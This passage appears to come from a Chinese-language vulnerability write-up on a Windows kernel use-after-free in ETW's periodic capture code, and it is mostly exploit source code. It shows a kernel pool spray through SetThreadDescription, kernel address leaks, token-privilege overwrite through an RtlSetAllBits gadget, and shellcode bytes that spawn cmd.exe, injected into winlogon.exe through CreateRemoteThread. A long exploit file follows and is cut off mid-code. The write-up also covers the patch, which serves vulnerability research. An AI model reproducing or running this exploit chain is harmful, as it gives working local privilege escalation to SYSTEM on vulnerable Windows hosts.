9
10
11
12
13
14
15
16
17
18
19

struct CONTEXTINFO {
WORK_QUEUE_ITEM WorkItem;
ULONG64 etwSiloGlobals;
WORD LoggerId;
char padding[6];
}

struct WORK_QUEUE_ITEM {
_LIST_ENTRY list;
ULONG64 WorkerRoutine;
ULONG64 Parameter;
}

timerContextinfo->LoggerId = LoggerId;
timerContextinfo->WorkItem.WorkerRoutine = vulFunction;
timerContextinfo->WorkItem.Parameter = vulParameter;
timerContextinfo->WorkItem.List.Flink = 0;

但是需要注意的是,这类 poolTag 为 IO 的池,都会在 IO 结束后被释放,所以成功率并不是百分之百的。

使用RtlSetAllBits任意地址写0xff

那么我们的 vulFunction 需要设置为什么呢?在普通权限下我们可以直接获取内核地址,那么我们可以直接修改 token 中的 Privileges ,使得我们有 SE_DEBUG_PRIVILEGE 权限并进行进程注入提权,如果能控制两个参数,可以使用 SeSetAccessStateGenericMapping 函数,但是我们这里只能控制一个参数,那么此时可以使用 RtlSetAllBits 函数,其函数流程如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
typedef struct _RTL_BITMAP {
ULONG SizeOfBitMap; // Number of bits in bit map
PULONG Buffer; // Pointer to the bit map itself
} RTL_BITMAP;

void __stdcall RtlSetAllBits(PRTL_BITMAP BitMapHeader)
{
unsigned int *Buffer; // r8
unsigned __int64 len; // rdx

Buffer = BitMapHeader->Buffer;
len = (unsigned __int64)(4 * (((BitMapHeader->SizeOfBitMap & 0x1F) != 0) + (BitMapHeader->SizeOfBitMap >> 5))) >> 2;
if ( len )
{
if ( ((unsigned __int8)Buffer & 4) != 0 )
{
*Buffer = -1;
if ( !--len )
return;
++Buffer;
}
memset(Buffer, 0xFFu, 8 * (len >> 1));
if ( (len & 1) != 0 )
Buffer[len - 1] = -1;
}
}

其中有一个 memset 可以把 buffer 处的值改为 0xff ,通过伪造 BitMapHeader ,我们可以向任何地址填充指定长度的 0xff 。

那么我们需要伪造的 BitMapHeader 内容如下:

1
2
BitMapHeader->SizeOfBitMap = 0x80 // memset size is 0x10
BitMapHeader->Buffer = token.Privileges

泄露 BitMapHeader 的地址可以通过以下函数来进行:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
DWORD64 GetGadgetAddr(const char* name)
{
DWORD64 base = (DWORD64)ntoskrnlBase;
HMODULE mod = LoadLibraryEx(L"ntoskrnl.exe", NULL, DONT_RESOLVE_DLL_REFERENCES);
if (!mod)
{
printf("[-] leaking ntoskrnl version\n");
return 0;
}
DWORD64 offset = (DWORD64)GetProcAddress(mod, name);
DWORD64 returnValue = base + offset - (DWORD64)mod;
//printf("[+] FunAddr: %p\n", (DWORD64)returnValue);
FreeLibrary(mod);
return returnValue;
}

下一步便是如何在内存中伪造该结构并且得到其地址。

使用SetThreadDescription在内核中分配可控的池

在 Windows 10 1607 后,_ETHREAD 结构体多了很多成员,其中有一个 ThreadName 的新成员:

1
struct _UNICODE_STRING* ThreadName;

这篇文章 详细阐述了该成员的利用方式。

我们可以使用 SetThreadDescription 方法来设置 ThreadName ,其逻辑如下:

1
2
3
4
5
6
7
8
9
10
HRESULT __stdcall SetThreadDescription(HANDLE hThread, PCWSTR lpThreadDescription)
{
NTSTATUS status; // eax
_UNICODE_STRING DestinationString; // [rsp+20h] [rbp-18h] BYREF

status = RtlInitUnicodeStringEx(&DestinationString, lpThreadDescription);
if ( status >= 0 )
status = NtSetInformationThread(hThread, ThreadDescriptorTableEntry|0x20, &DestinationString, 0x10u);
return status | 0x10000000;
}

SetThreadDescription 会使用 RtlInitUnicodeStringEx 初始化 DestinationString ,调用 NtSetInformationThread 并设置 ThreadInformationClass 为 0x26 。

在 ThreadInformationClass 中有如下逻辑:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
NTSTATUS __stdcall NtSetInformationThread(HANDLE ThreadHandle, THREADINFOCLASS ThreadInformationClass, PVOID ThreadInformation, ULONG ThreadInformationLength)
{
...
choice = ThreadInformationClass - 2
switch(choice){
...
case 36:
...
if ( ThreadInformationLength == 0x10 ){
...
allocSize = ThreadInformation.Length;
src = ThreadInformation.Buffer;
poolChunk = (char *)ExAllocatePoolWithTag(NonPagedPoolNx, allocSize + 0x10i64, 'mNhT');
...
dst = poolChunk + 0x10;
memmove(dst, src, allocSize);
...
}
...
...
}
...
}

可以发现是申请传入的 DestinationString→Length + 0x10 大小的 pool chunk ,同时将 DestinationString→Buffer 的内容拷贝到 pool chunk + 0x10 处。

同时 NtQuerySystemInformation 在传入的 class 信息为 SystemBigPoolInformation(0x42)的时候,会列举出所有的 large pool 的内核地址、大小以及标签,实例代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
#define SystemBigPoolInformation 0x42 
[...]
DWORD dwBufSize = 1024*1024;
DWORD dwOutSize;
LPVOID pBuffer = LocalAlloc(LPTR, dwBufSize);
HRESULT hRes = NtQuerySystemInformation(
SystemBigPoolInformation,
pBuffer,
dwBufSize,
&dwOutSize
);

// ret SYSTEM_BIGPOOL_ENTRY structures

0x00 NumberOfEntries

Entry0
{
0x08 ULONG_PTR Entry0.Address
0x10 DWORD Entry0.PoolSize
0x18 DWORD Entry0.PoolTag
}

Entry1
{
0x20 Entry1.Address
[...]

通过对比标签和大小,我们便可以找到之前使用 SetThreadDescription 所申请的 pool chunk 地址,实例代码如下所示:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
typedef struct
{
DWORD64 Address;
DWORD64 PoolSize;
char PoolTag[4];
char Padding[4];
}
BIG_POOL_INFO, *PBIG_POOL_INFO;

ULONG_PTR LookForThreadNamePoolAddress(PVOID pSystemBigPoolInfoBuffer, DWORD64 dwExpectedSize)
{
ULONG_PTR StartAddress = (ULONG_PTR)pSystemBigPoolInfoBuffer;
ULONG_PTR EndAddress = StartAddress + 8 + *( (PDWORD)StartAddress ) * sizeof(BIG_POOL_INFO);
ULONG_PTR ptr = StartAddress + 8;
while (ptr < EndAddress)
{
PBIG_POOL_INFO info = (PBIG_POOL_INFO) ptr;
//printf("Name:%s Size:%llx Address:%llx\n", info->PoolTag, info->PoolSize, info->Address);

if( strncmp( info->PoolTag, "ThNm", 4)==0 && dwExpectedSize==info->PoolSize )
{
return (((ULONG_PTR)info->Address) & 0xfffffffffffffff0) + sizeof(UNICODE_STRING);
}
ptr += sizeof(BIG_POOL_INFO);
}
return 0;
}

最后的 整合代码 如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
#include <windows.h>
#include <stdio.h>

#pragma comment(lib, "ntdll.lib")

#define SystemBigPoolInformation 0x42
#define ThreadNameInformation 0x26

#define DATA_TO_COPY "AAAAAAAAAAAAABBBBBBBBBBBBBBBCCCCCCCCCCCCCCCDDDDDDDDDDDDDDD"

typedef struct
{
WORD Length;
WORD MaximumLength;
DWORD Padding;
DWORD64 Buffer;
} UNICODE_STRING, *PUNICODE_STRING;

typedef struct
{
DWORD64 Address;
DWORD64 PoolSize;
char PoolTag[4];
char Padding[4];
} BIG_POOL_INFO, *PBIG_POOL_INFO;

extern NTSYSAPI NTSTATUS NTAPI NtSetInformationThread(
IN HANDLE ThreadHandle,
IN THREAD_INFORMATION_CLASS ThreadInformationClass,
IN PVOID ThreadInformation,
IN ULONG ThreadInformationLength
);

extern NTSYSAPI NTSTATUS NTAPI NtQueryInformationThread(
IN HANDLE ThreadHandle,
IN THREAD_INFORMATION_CLASS ThreadInformationClass,
OUT PVOID ThreadInformation,
IN ULONG ThreadInformationLength,
OUT PULONG ReturnLength OPTIONAL );

ULONG_PTR LookForThreadNamePoolAddress(PVOID pBuffer, DWORD64 dwExpectedSize)
{
ULONG_PTR StartAddress = (ULONG_PTR)pBuffer;
ULONG_PTR EndAddress = StartAddress + 8 + *( (PDWORD)StartAddress ) * sizeof(BIG_POOL_INFO);
ULONG_PTR ptr = StartAddress + 8;
while (ptr < EndAddress)
{
PBIG_POOL_INFO info = (PBIG_POOL_INFO) ptr;
//printf("Name:%s Size:%llx Address:%llx\n", info->PoolTag, info->PoolSize, info->Address);
if( strncmp( info->PoolTag, "ThNm", 4)==0 && dwExpectedSize==info->PoolSize )
{
return (((ULONG_PTR)info->Address) & 0xfffffffffffffff0) + sizeof(UNICODE_STRING);
}
ptr += sizeof(BIG_POOL_INFO);
}
return 0;
}

ULONG_PTR AllocateInBigPool(HANDLE hThread, WORD wPoolSize, LPVOID lpContent)
{
UNICODE_STRING target;
target.Length = wPoolSize;
target.MaximumLength = 0xffff;
target.Buffer=(ULONG_PTR)lpContent;
ULONG_PTR Addr = 0;

HRESULT hRes = NtSetInformationThread(hThread,ThreadNameInformation, &target, sizeof(UNICODE_STRING));
if (SUCCEEDED(hRes))
{
DWORD dwBufSize = 1024*1024;
DWORD dwOutSize;
LPVOID pBuffer = LocalAlloc(LPTR, dwBufSize);

hRes = NtQuerySystemInformation(SystemBigPoolInformation, pBuffer, dwBufSize, &dwOutSize);
if (SUCCEEDED(hRes))
{
DWORD dwExpectedSize = target.Length + sizeof(UNICODE_STRING);
Addr = LookForThreadNamePoolAddress(pBuffer, dwExpectedSize);
}

LocalFree(pBuffer);
}

return Addr;
}

int wmain(int argc, wchar_t** argv)
{
DWORD dwTid = _wtoi(argv[1]);
DWORD dwSize = _wtoi(argv[2]);
LPVOID lpData = VirtualAlloc(0, dwSize, MEM_COMMIT, PAGE_READWRITE);

RtlZeroMemory(lpData, dwSize);
RtlCopyMemory(lpData, DATA_TO_COPY, strlen(DATA_TO_COPY));

HANDLE hThread = OpenThread(THREAD_SET_LIMITED_INFORMATION, FALSE, dwTid);
if(!hThread)
return -1;

wprintf(L"[+] tid=%d\n", dwTid);

ULONG_PTR PoolChunk = AllocateInBigPool(hThread, (WORD)dwSize, (LPVOID)lpData);
if(PoolChunk)
{
wprintf(L"[+] data stored at %p\n", PoolChunk);
}

VirtualFree(lpData, dwSize, MEM_RELEASE);

CloseHandle(hThread);
return 0;
}

可以说该技术也是一个十分神奇且有用的技术。

注入shellcode到login提权

当我们修改了 token 的 Privileges 使得我们有 SE_DEBUG_PRIVILEGE 权限,我们便可以向别的进程注入 shellcode 来提权,这里我们选择一个常用的目标 winlogin.exe ,使用如下代码进行注入:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
#include <tlhelp32.h>

// run cmd.exe
unsigned char shellcode[] =
"\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52\x51" \
"\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48\x8b\x52" \
"\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0" \
"\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2\xed" \
"\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48\x01\xd0\x8b\x80\x88" \
"\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b\x48\x18\x44" \
"\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41\x8b\x34\x88\x48" \
"\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01\xc1" \
"\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1\x75\xd8\x58\x44" \
"\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49" \
"\x01\xd0\x41\x8b\x04\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a" \
"\x41\x58\x41\x59\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41" \
"\x59\x5a\x48\x8b\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00" \
"\x00\x00\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41\xba\x31\x8b" \
"\x6f\x87\xff\xd5\xbb\xe0\x1d\x2a\x0a\x41\xba\xa6\x95\xbd\x9d\xff" \
"\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb\x47" \
"\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5\x63\x6d\x64\x2e\x65" \
"\x78\x65\x00";

void InjectToWinlogon()
{
PROCESSENTRY32 entry;
entry.dwSize = sizeof(PROCESSENTRY32);

HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, NULL);

int pid = -1;
if (Process32First(snapshot, &entry))
{
while (Process32Next(snapshot, &entry))
{
if (wcscmp(entry.szExeFile, L"winlogon.exe") == 0)
{
pid = entry.th32ProcessID;
break;
}
}
}

CloseHandle(snapshot);

if (pid < 0)
{
printf("Could not find process\n");
return;
}

HANDLE h = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
if (!h)
{
printf("Could not open process: %x", GetLastError());
return;
}

void* buffer = VirtualAllocEx(h, NULL, sizeof(shellcode), MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
if (!buffer)
{
printf("[-] VirtualAllocEx failed\n");
}

if (!buffer)
{
printf("[-] remote allocation failed");
return;
}

if (!WriteProcessMemory(h, buffer, shellcode, sizeof(shellcode), 0))
{
printf("[-] WriteProcessMemory failed");
return;
}

HANDLE hthread = CreateRemoteThread(h, 0, 0, (LPTHREAD_START_ROUTINE)buffer, 0, 0, 0);

if (hthread == INVALID_HANDLE_VALUE)
{
printf("[-] CreateRemoteThread failed");
return;
}
}

最后结果

UAF 的漏洞利用起来比池溢出什么的舒服多了,也不需要清理环境 : )

Untitled 5.png

Patch

代码似乎重写了,不再使用 timerContextinfo ,回调函数中传入的参数为 LoggerContext ,且结构体有变化,这样做也不会导致 UAF 了。

Untitled 6.png

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
#include <windows.h>
#include <stdio.h>
#include <conio.h>
#include <strsafe.h>
#include <wmistr.h>
#include <evntrace.h>
#include <psapi.h>
#include <winternl.h>
#include <tlhelp32.h>

#pragma comment(lib, "ntdll.lib")

#define LOGFILE_PATH L"C:\\Users\\Public\\test.etl"
#define LOGSESSION_NAME L"My Event Trace Session"
#define SLEEP_TIME 0x2000
#define FAKE_TIME_CONTEXTINFO_SIZE 0x30
#define SPRAY_SIZE 0x10000
#define SystemHandleInformation 0x10
#define SystemBigPoolInformation 0x42

// run cmd.exe
unsigned char shellcode[] =
"\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52\x51" \
"\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48\x8b\x52" \
"\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0" \
"\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2\xed" \
"\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48\x01\xd0\x8b\x80\x88" \
"\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b\x48\x18\x44" \
"\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41\x8b\x34\x88\x48" \
"\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01\xc1" \
"\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1\x75\xd8\x58\x44" \
"\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49" \
"\x01\xd0\x41\x8b\x04\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a" \
"\x41\x58\x41\x59\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41" \
"\x59\x5a\x48\x8b\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00" \
"\x00\x00\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41\xba\x31\x8b" \
"\x6f\x87\xff\xd5\xbb\xe0\x1d\x2a\x0a\x41\xba\xa6\x95\xbd\x9d\xff" \
"\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb\x47" \
"\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5\x63\x6d\x64\x2e\x65" \
"\x78\x65\x00";

typedef struct _ETW_UPDATE_PERIODIC_CAPTURE_STATE
{
UINT32 LoggerId;
UINT32 DueTime; //system time units (100-nanosecond intervals)
UINT32 NumOfGuids;
GUID Guids[ANYSIZE_ARRAY];
} ETW_UPDATE_PERIODIC_CAPTURE_STATE, * PETW_UPDATE_PERIODIC_CAPTURE_STATE;

typedef enum _ETW_FUNCTION_CODE
{
EtwFunctionStartTrace = 1,
EtwFunctionStopTrace = 2,
EtwFunctionQueryTrace = 3,
EtwFunctionUpdateTrace = 4,
EtwFunctionFlushTrace = 5,
EtwFunctionIncrementTraceFile = 6,

EtwFunctionRealtimeConnect = 11,
EtwFunctionWdiDispatchControl = 13,
EtwFunctionRealtimeDisconnectConsumerByHandle = 14,
EtwFunctionReceiveNotification = 16,
EtwFunctionTraceEnableGuid = 17, // EtwTraceNotifyGuid
EtwFunctionSendReplyDataBlock = 18,
EtwFunctionReceiveReplyDataBlock = 19,
EtwFunctionWdiUpdateSem = 20,
EtwFunctionGetTraceGuidList = 21,
EtwFunctionGetTraceGuidInfo = 22,
EtwFunctionEnumerateTraceGuids = 23,
// EtwFunction??? = 24,
EtwFunctionQueryReferenceTime = 25,
EtwFunctionTrackProviderBinary = 26,
EtwFunctionAddNotificationEvent = 27,
EtwFunctionUpdateDisallowList = 28,
EtwFunctionUseDescriptorTypeUm = 31,
EtwFunctionGetTraceGroupList = 32,
EtwFunctionGetTraceGroupInfo = 33,
EtwFunctionGetDisallowList = 34,
EtwFunctionSetCompressionSettings = 35,
EtwFunctionGetCompressionSettings = 36,
EtwFunctionUpdatePeriodicCaptureState = 37,
EtwFunctionGetPrivateSessionTraceHandle = 38,
EtwFunctionRegisterPrivateSession = 39,
EtwFunctionQuerySessionDemuxObject = 40,
EtwFunctionSetProviderBinaryTracking = 41,
} ETW_FUNCTION_CODE;

typedef struct _SYSTEM_HANDLE_TABLE_ENTRY_INFO {
USHORT UniqueProcessId;
USHORT CreatorBackTraceIndex;
UCHAR ObjectTypeIndex;
UCHAR HandleAttributes;
USHORT HandleValue;
PVOID Object;
ULONG GrantedAccess;
} SYSTEM_HANDLE_TABLE_ENTRY_INFO, * PSYSTEM_HANDLE_TABLE_ENTRY_INFO;

typedef struct _SYSTEM_HANDLE_INFORMATION {
ULONG NumberOfHandles;
SYSTEM_HANDLE_TABLE_ENTRY_INFO Handles[1];
} SYSTEM_HANDLE_INFORMATION, * PSYSTEM_HANDLE_INFORMATION;

typedef struct
{
DWORD64 Address;
DWORD64 PoolSize;
char PoolTag[4];
char Padding[4];
} BIG_POOL_INFO, * PBIG_POOL_INFO;

EXTERN_C
NTSTATUS
WINAPI
NtTraceControl(
DWORD Operation,
LPVOID InputBuffer,
DWORD InputSize,
LPVOID OutputBuffer,
DWORD OutputSize,
LPDWORD BytesReturned
);

typedef NTSTATUS(WINAPI* PNtSetEaFile)(
IN HANDLE FileHandle,
OUT PIO_STATUS_BLOCK IoStatusBlock,
IN PVOID Buffer,
IN ULONG Length
);

// GUID that identifies your trace session.
// Remember to create your own session GUID.
GUID SessionGuid;

// GUID that identifies the provider that you want
// to enable to your session.
GUID ProviderGuid;

GUID NoPermissionGuid;

LPVOID ntoskrnlBase = nullptr;

DWORD64 GetKernelPointer(HANDLE handle, DWORD type)
{
// 申请0x20的空间
PSYSTEM_HANDLE_INFORMATION buffer = (PSYSTEM_HANDLE_INFORMATION)malloc(0x20);

DWORD outBuffer = 0;
// 查询自身拥有的所有句柄信息
NTSTATUS status = NtQuerySystemInformation((SYSTEM_INFORMATION_CLASS)SystemHandleInformation, buffer, 0x20, &outBuffer);

if (status == (NTSTATUS)0xC0000004L)
{
free(buffer);
buffer = (PSYSTEM_HANDLE_INFORMATION)malloc(outBuffer);
status = NtQuerySystemInformation((SYSTEM_INFORMATION_CLASS)SystemHandleInformation, buffer, outBuffer, &outBuffer);
}

if (!buffer)
{
printf("[-] NtQuerySystemInformation error \n");
return 0;
}

for (size_t i = 0; i < buffer->NumberOfHandles; i++)
{
DWORD objTypeNumber = buffer->Handles[i].ObjectTypeIndex;

// type 0x5 token
if (buffer->Handles[i].UniqueProcessId == GetCurrentProcessId() && buffer->Handles[i].ObjectTypeIndex == type)
{
if (handle == (HANDLE)buffer->Handles[i].HandleValue)
{
DWORD64 object = (DWORD64)buffer->Handles[i].Object;
free(buffer);
return object;
}
}
}
printf("[-] handle not found\n");
free(buffer);
return 0;
}

DWORD64 LeakEporcessKtoken()
{

LPVOID drivers[1024] = {};
DWORD cbNeeded = NULL;
ntoskrnlBase = nullptr;
// 检索系统驱动加载地址
if (EnumDeviceDrivers(drivers, sizeof(drivers), &cbNeeded) && cbNeeded < sizeof(drivers))
{
// 获取ntoskrnl基址
if (drivers[0])
{
ntoskrnlBase = drivers[0];
printf("[*] ntoskrnlBase : %p\n", ntoskrnlBase);
}
}
else
{
printf("[-] EnumDeviceDrivers failed; array size needed is %d\n", cbNeeded / sizeof(LPVOID));
}

// 获取自身句柄
HANDLE proc = OpenProcess(PROCESS_QUERY_INFORMATION, FALSE, GetCurrentProcessId());
if (!proc)
{
printf("[-] OpenProcess failed\n");
return 0;
}

HANDLE token = 0;
// 需要启用或者禁用token里面的权限
if (!OpenProcessToken(proc, TOKEN_ADJUST_PRIVILEGES, &token))
{
printf("[-] OpenProcessToken failed\n");
return 0;
}

DWORD64 ktoken = 0;
for (int i = 0; i < 0x100; i++)
{
// 获取自身token的地址
ktoken = GetKernelPointer(token, 0x5);

if (ktoken != NULL)
{
break;
}

}
return ktoken;
}

ULONG_PTR LookForThreadNamePoolAddress(PVOID pBuffer, DWORD64 dwExpectedSize)
{
ULONG_PTR StartAddress = (ULONG_PTR)pBuffer;
ULONG_PTR EndAddress = StartAddress + 8 + *((PDWORD)StartAddress) * sizeof(BIG_POOL_INFO);
ULONG_PTR ptr = StartAddress + 8;
while (ptr < EndAddress)
{
PBIG_POOL_INFO info = (PBIG_POOL_INFO)ptr;
//printf("Name:%s Size:%llx Address:%llx\n", info->PoolTag, info->PoolSize, info->Address);
if (strncmp(info->PoolTag, "ThNm", 4) == 0 && dwExpectedSize == info->PoolSize)
{
return (((ULONG_PTR)info->Address) & 0xfffffffffffffff0) + sizeof(UNICODE_STRING);
}
ptr += sizeof(BIG_POOL_INFO);
}
return 0;
}

ULONG_PTR AllocateInBigPool(HANDLE hThread, WORD wPoolSize, LPVOID lpContent)
{
UNICODE_STRING target;
target.Length = wPoolSize;
target.MaximumLength = 0xffff;
target.Buffer = (PWSTR)lpContent;
ULONG_PTR Addr = 0;

HRESULT hRes = NtSetInformationThread(hThread, ThreadNameInformation, &target, sizeof(UNICODE_STRING));
if (SUCCEEDED(hRes))
{
DWORD dwBufSize = 1024 * 1024;
DWORD dwOutSize;
LPVOID pBuffer = LocalAlloc(LPTR, dwBufSize);

hRes = NtQuerySystemInformation((SYSTEM_INFORMATION_CLASS)SystemBigPoolInformation, pBuffer, dwBufSize, &dwOutSize);
if (SUCCEEDED(hRes))
{
DWORD dwExpectedSize = target.Length + sizeof(UNICODE_STRING);
Addr = LookForThreadNamePoolAddress(pBuffer, dwExpectedSize);
}

LocalFree(pBuffer);
}

return Addr;
}

int fnExploit(int lpParameter)
{

do
{
Sleep(0x500000);

} while (true);

}

void InjectToWinlogon()
{
PROCESSENTRY32 entry;
entry.dwSize = sizeof(PROCESSENTRY32);

HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, NULL);

int pid = -1;
if (Process32First(snapshot, &entry))
{
while (Process32Next(snapshot, &entry))
{
if (wcscmp(entry.szExeFile, L"winlogon.exe") == 0)
{
pid = entry.th32ProcessID;
break;
}
}
}

CloseHandle(snapshot);

if (pid < 0)
{
printf("Could not find process\n");
return;
}

HANDLE h = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
if (!h)
{
printf("Could not open process: %x", GetLastError());
return;
}

void* buffer = VirtualAllocEx(h, NULL, sizeof(shellcode), MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
if (!buffer)
{
printf("[-] VirtualAllocEx failed\n");
}

if (!buffer)
{
printf("[-] remote allocation failed");
return;
}

if (!WriteProcessMemory(h, buffer, shellcode, sizeof(shellcode), 0))
{
printf("[-] WriteProcessMemory failed");
return;
}

HANDLE hthread = CreateRemoteThread(h, 0, 0, (LPTHREAD_START_ROUTINE)buffer, 0, 0, 0);

if (hthread == INVALID_HANDLE_VALUE)
{
printf("[-] CreateRemoteThread failed");
return;
}
}

DWORD64 GetGadgetAddr(const char* name)
{
DWORD64 base = (DWORD64)ntoskrnlBase;
HMODULE mod = LoadLibraryEx(L"ntoskrnl.exe", NULL, DONT_RESOLVE_DLL_REFERENCES);
if (!mod)
{
printf("[-] leaking ntoskrnl version\n");
return 0;
}
DWORD64 offset = (DWORD64)GetProcAddress(mod, name);
DWORD64 returnValue = base + offset - (DWORD64)mod;
//printf("[+] FunAddr: %p\n", (DWORD64)returnValue);
FreeLibrary(mod);
return returnValue;
}

int main()
{

PNtSetEaFile NtSetEaFile = (PNtSetEaFile)GetProcAddress(GetModuleHandleA("ntdll.dll"), "NtSetEaFile");

if (!NtSetEaFile) {

printf("[-] Get NtSetEaFile failed , error is : %p\n", GetLastError());
exit(-1);
}

HANDLE file = CreateFile(L"\\\\.\\PEAuth", GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, NULL, NULL);
if (file == INVALID_HANDLE_VALUE) {
printf("[-] CreateFile failed , error is : %p\n", GetLastError());
exit(-1);
}

DWORD64 ktoken = LeakEporcessKtoken();

printf("[*] Get ktoken addr : %p\n", ktoken);

char GadgetName[] = "RtlSetAllBits";

DWORD64 GadgetAddr = GetGadgetAddr(GadgetName);

printf("[*] Get gadget %s addr : %p\n", GadgetName, GadgetAddr);

DWORD dwThreadID = 0;

HANDLE hThread = CreateThread(0, 0, (LPTHREAD_START_ROUTINE)fnExploit, 0, 0, &dwThreadID);

if (!hThread){
printf("[-] CreateThread failed , error is : %p\n", GetLastError());
exit(-1);
}

printf("[*] Thread tid : %p\n", dwThreadID);

DWORD dwSize = 0x1000;

PCHAR lpData = (PCHAR)VirtualAlloc(0, dwSize, MEM_COMMIT, PAGE_READWRITE);

memset(lpData, 0, dwSize);

*(ULONG64*)lpData = 0x80; // RTL_BITMAP->SizeOfBitMap
